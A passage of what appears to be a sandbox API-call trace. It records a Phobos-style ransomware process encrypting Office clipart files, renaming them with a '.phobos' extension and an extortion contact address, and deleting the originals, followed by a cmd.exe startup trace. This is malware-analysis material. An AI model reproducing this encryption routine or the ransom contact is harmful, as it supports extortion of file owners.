Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.817] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1610) returned 1 [0182.817] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.817] ReadFile (in: hFile=0x2ec, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xac4, lpOverlapped=0x0) returned 1 [0182.945] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xad0, dwBufLen=0xad0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xad0) returned 1 [0182.945] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xad0, lpOverlapped=0x0) returned 1 [0182.946] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d16d0) returned 1 [0182.946] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.946] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0182.946] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0182.946] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0182.946] CryptDestroyKey (hKey=0x1d1610) returned 1 [0182.946] CloseHandle (hObject=0x2ec) returned 1 [0182.946] CloseHandle (hObject=0x2c4) returned 1 [0182.946] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0182.948] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0182.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.948] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=5000) returned 1 [0182.948] CloseHandle (hObject=0x2c4) returned 1 [0182.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0182.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.949] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.949] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.950] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d19d0) returned 1 [0182.950] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.950] ReadFile (hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0) Process: id = "14" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3a1b7000" os_pid = "0xfb4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xf9c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 87 os_tid = 0xfb8 [0157.273] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6e12e0000 [0157.273] __set_app_type (_Type=0x1) [0157.273] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6e12f6d00) returned 0x0 [0157.273] __getmainargs (in: _Argc=0x7ff6e1319200, _Argv=0x7ff6e1319208, _Env=0x7ff6e1319210, _DoWildCard=0, _StartInfo=0x7ff6e131921c | out: _Argc=0x7ff6e1319200, _Argv=0x7ff6e1319208, _Env=0x7ff6e1319210) returned 0 [0157.273] _onexit (_Func=0x7ff6e12f7fd0) returned 0x7ff6e12f7fd0 [0157.273] _onexit (_Func=0x7ff6e12f7fe0) returned 0x7ff6e12f7fe0 [0157.274] _onexit (_Func=0x7ff6e12f7ff0) returned 0x7ff6e12f7ff0 [0157.274] _onexit (_Func=0x7ff6e12f8000) returned 0x7ff6e12f8000 [0157.274] _onexit (_Func=0x7ff6e12f8010) returned 0x7ff6e12f8010 [0157.275] _onexit (_Func=0x7ff6e12f8020) returned 0x7ff6e12f8020 [0157.275] GetCurrentThreadId () returned 0xfb8 [0157.275] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfb8) returned 0x70 [0157.275] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe882b0000 [0157.275] GetProcAddress (hModule=0x7ffe882b0000, lpProcName="SetThreadUILanguage") returned 0x7ffe882ca990 [0157.276] SetThreadUILanguage (LangId=0x0) returned 0x409 [0157.281] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0157.281] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x8e844ffcd8 | out: phkResult=0x8e844ffcd8*=0x0) returned 0x2 [0157.281] VirtualQuery (in: lpAddress=0x8e844ffcc4, lpBuffer=0x8e844ffc40, dwLength=0x30 | out: lpBuffer=0x8e844ffc40*(BaseAddress=0x8e844ff000, AllocationBase=0x8e84400000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.281] VirtualQuery (in: lpAddress=0x8e84400000, lpBuffer=0x8e844ffc40, dwLength=0x30 | out: lpBuffer=0x8e844ffc40*(BaseAddress=0x8e84400000, AllocationBase=0x8e84400000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.281] VirtualQuery (in: lpAddress=0x8e84401000, lpBuffer=0x8e844ffc40, dwLength=0x30 | out: lpBuffer=0x8e844ffc40*(BaseAddress=0x8e84401000, AllocationBase=0x8e84400000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.281] VirtualQuery (in: lpAddress=0x8e84404000, lpBuffer=0x8e844ffc40, dwLength=0x30 | out: lpBuffer=0x8e844ffc40*(BaseAddress=0x8e84404000, AllocationBase=0x8e84400000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.281] VirtualQuery (in: lpAddress=0x8e84500000, lpBuffer=0x8e844ffc40, dwLength=0x30 | out: lpBuffer=0x8e844ffc40*(BaseAddress=0x8e84500000, AllocationBase=0x8e84500000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.281] GetConsoleOutputCP () returned 0x1b5 [0157.299] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e131fbb0 | out: lpCPInfo=0x7ff6e131fbb0) returned 1 [0157.299] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6e1308150, Add=1) returned 1 [0157.299] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.299] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff6e131fc04 | out: lpMode=0x7ff6e131fc04) returned 0 [0157.299] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.299] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff6e131fc00 | out: lpMode=0x7ff6e131fc00) returned 0 [0157.299] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.299] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0 [0157.299] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.299] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff6e131fc08 | out: lpMode=0x7ff6e131fc08) returned 0 [0157.299] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.299] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff6e131fc0c | out: lpMode=0x7ff6e131fc0c) returned 0 [0157.300] GetEnvironmentStringsW () returned 0x262f5945a10* [0157.300] GetProcessHeap () returned 0x262f5940000 [0157.300] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xa7c) returned 0x262f59464a0 [0157.300] FreeEnvironmentStringsA (penv="A") returned 1 [0157.300] GetProcessHeap () returned 0x262f5940000 [0157.300] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x8) returned 0x262f5946f30 [0157.300] GetEnvironmentStringsW () returned 0x262f5945a10* [0157.300] GetProcessHeap () returned 0x262f5940000 [0157.300] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xa7c) returned 0x262f5946f50 [0157.300] FreeEnvironmentStringsA (penv="A") returned 1 [0157.300] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8e844feb88 | out: phkResult=0x8e844feb88*=0x7c) returned 0x0 [0157.300] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x0, lpData=0x8e844feba0*=0x4, lpcbData=0x8e844feb84*=0x1000) returned 0x2 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x4, lpData=0x8e844feba0*=0x1, lpcbData=0x8e844feb84*=0x4) returned 0x0 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x0, lpData=0x8e844feba0*=0x1, lpcbData=0x8e844feb84*=0x1000) returned 0x2 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x4, lpData=0x8e844feba0*=0x0, lpcbData=0x8e844feb84*=0x4) returned 0x0 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x4, lpData=0x8e844feba0*=0x40, lpcbData=0x8e844feb84*=0x4) returned 0x0 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x4, lpData=0x8e844feba0*=0x40, lpcbData=0x8e844feb84*=0x4) returned 0x0 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x0, lpData=0x8e844feba0*=0x40, lpcbData=0x8e844feb84*=0x1000) returned 0x2 [0157.301] RegCloseKey (hKey=0x7c) returned 0x0 [0157.301] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8e844feb88 | out: phkResult=0x8e844feb88*=0x7c) returned 0x0 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x0, lpData=0x8e844feba0*=0x40, lpcbData=0x8e844feb84*=0x1000) returned 0x2 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x4, lpData=0x8e844feba0*=0x1, lpcbData=0x8e844feb84*=0x4) returned 0x0 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x0, lpData=0x8e844feba0*=0x1, lpcbData=0x8e844feb84*=0x1000) returned 0x2 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x4, lpData=0x8e844feba0*=0x0, lpcbData=0x8e844feb84*=0x4) returned 0x0 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x4, lpData=0x8e844feba0*=0x9, lpcbData=0x8e844feb84*=0x4) returned 0x0 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x4, lpData=0x8e844feba0*=0x9, lpcbData=0x8e844feb84*=0x4) returned 0x0 [0157.301] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8e844feb80, lpData=0x8e844feba0, lpcbData=0x8e844feb84*=0x1000 | out: lpType=0x8e844feb80*=0x0, lpData=0x8e844feba0*=0x9, lpcbData=0x8e844feb84*=0x1000) returned 0x2 [0157.301] RegCloseKey (hKey=0x7c) returned 0x0 [0157.301] time (in: timer=0x0 | out: timer=0x0) returned 0x5cdd3058 [0157.301] srand (_Seed=0x5cdd3058) [0157.301] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0157.301] malloc (_Size=0x4000) returned 0x262f5c254f0 [0157.302] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0157.302] malloc (_Size=0xffce) returned 0x262f5b10080 [0157.302] ??_V@YAXPEAX@Z () returned 0x262f5b10080 [0157.303] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x262f5b10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0157.303] malloc (_Size=0xffce) returned 0x262f5b20060 [0157.303] ??_V@YAXPEAX@Z () returned 0x262f5b20060 [0157.304] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x262f5b20060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0157.304] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0157.304] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0157.305] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0157.305] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0157.305] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0157.305] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0157.305] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0157.305] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0157.305] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0157.305] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0157.305] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0157.305] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0157.305] GetProcessHeap () returned 0x262f5940000 [0157.305] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f59464a0) returned 1 [0157.305] GetEnvironmentStringsW () returned 0x262f5945a10* [0157.305] GetProcessHeap () returned 0x262f5940000 [0157.305] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xa94) returned 0x262f5947a10 [0157.306] FreeEnvironmentStringsA (penv="A") returned 1 [0157.306] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0157.306] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0157.306] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0157.306] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0157.306] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0157.306] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0157.306] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0157.306] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0157.306] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0157.306] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0157.306] malloc (_Size=0xffce) returned 0x262f5b30040 [0157.306] ??_V@YAXPEAX@Z () returned 0x262f5b30040 [0157.307] GetProcessHeap () returned 0x262f5940000 [0157.307] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x38) returned 0x262f59484b0 [0157.307] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x262f5b30040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0157.307] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x262f5b30040, lpFilePart=0x8e844ff700 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x8e844ff700*="system32") returned 0x13 [0157.307] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0157.307] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x8e844ff430 | out: lpFindFileData=0x8e844ff430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x262f59484f0 [0157.308] FindClose (in: hFindFile=0x262f59484f0 | out: hFindFile=0x262f59484f0) returned 1 [0157.308] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x8e844ff430 | out: lpFindFileData=0x8e844ff430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x8187ef5e, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x8187ef5e, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x262f59484f0 [0157.308] FindClose (in: hFindFile=0x262f59484f0 | out: hFindFile=0x262f59484f0) returned 1 [0157.309] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0157.309] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0157.309] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0157.309] GetProcessHeap () returned 0x262f5940000 [0157.309] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5947a10) returned 1 [0157.309] GetEnvironmentStringsW () returned 0x262f59484f0* [0157.309] GetProcessHeap () returned 0x262f5940000 [0157.309] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xac4) returned 0x262f5945a10 [0157.309] FreeEnvironmentStringsA (penv="=") returned 1 [0157.309] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x262f5b10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0157.309] GetProcessHeap () returned 0x262f5940000 [0157.309] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f59484b0) returned 1 [0157.309] ??_V@YAXPEAX@Z () returned 0x1 [0157.309] ??_V@YAXPEAX@Z () returned 0x1 [0157.309] GetProcessHeap () returned 0x262f5940000 [0157.309] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x4016) returned 0x262f5947a10 [0157.310] GetProcessHeap () returned 0x262f5940000 [0157.310] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5947a10) returned 1 [0157.310] GetConsoleOutputCP () returned 0x1b5 [0157.315] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e131fbb0 | out: lpCPInfo=0x7ff6e131fbb0) returned 1 [0157.315] GetUserDefaultLCID () returned 0x409 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6e131bb78, cchData=8 | out: lpLCData=":") returned 2 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x8e844ffac0, cchData=128 | out: lpLCData="0") returned 2 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x8e844ffac0, cchData=128 | out: lpLCData="0") returned 2 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x8e844ffac0, cchData=128 | out: lpLCData="1") returned 2 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6e131bb68, cchData=8 | out: lpLCData="/") returned 2 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6e131bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6e131bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6e131ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6e131ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6e131ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0157.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6e131b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0157.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6e131b980, cchData=32 | out: lpLCData="Sun") returned 4 [0157.316] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6e131bb58, cchData=8 | out: lpLCData=".") returned 2 [0157.316] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6e131bb40, cchData=8 | out: lpLCData=",") returned 2 [0157.316] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0157.317] GetProcessHeap () returned 0x262f5940000 [0157.318] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x0, Size=0x20c) returned 0x262f5946550 [0157.318] GetConsoleTitleW (in: lpConsoleTitle=0x262f5946550, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0157.323] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.323] GetFileType (hFile=0x234) returned 0x3 [0157.323] ApiSetQueryApiSetPresence () returned 0x0 [0157.323] ResolveDelayLoadedAPI () returned 0x7ffe7f66d990 [0157.342] BrandingFormatString () returned 0x262f5946c20 [0157.369] GetVersion () returned 0x3ad7000a [0157.369] _vsnwprintf (in: _Buffer=0x8e844ffc20, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x8e844ffbb8 | out: _Buffer="10.0.15063") returned 10 [0157.370] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.370] 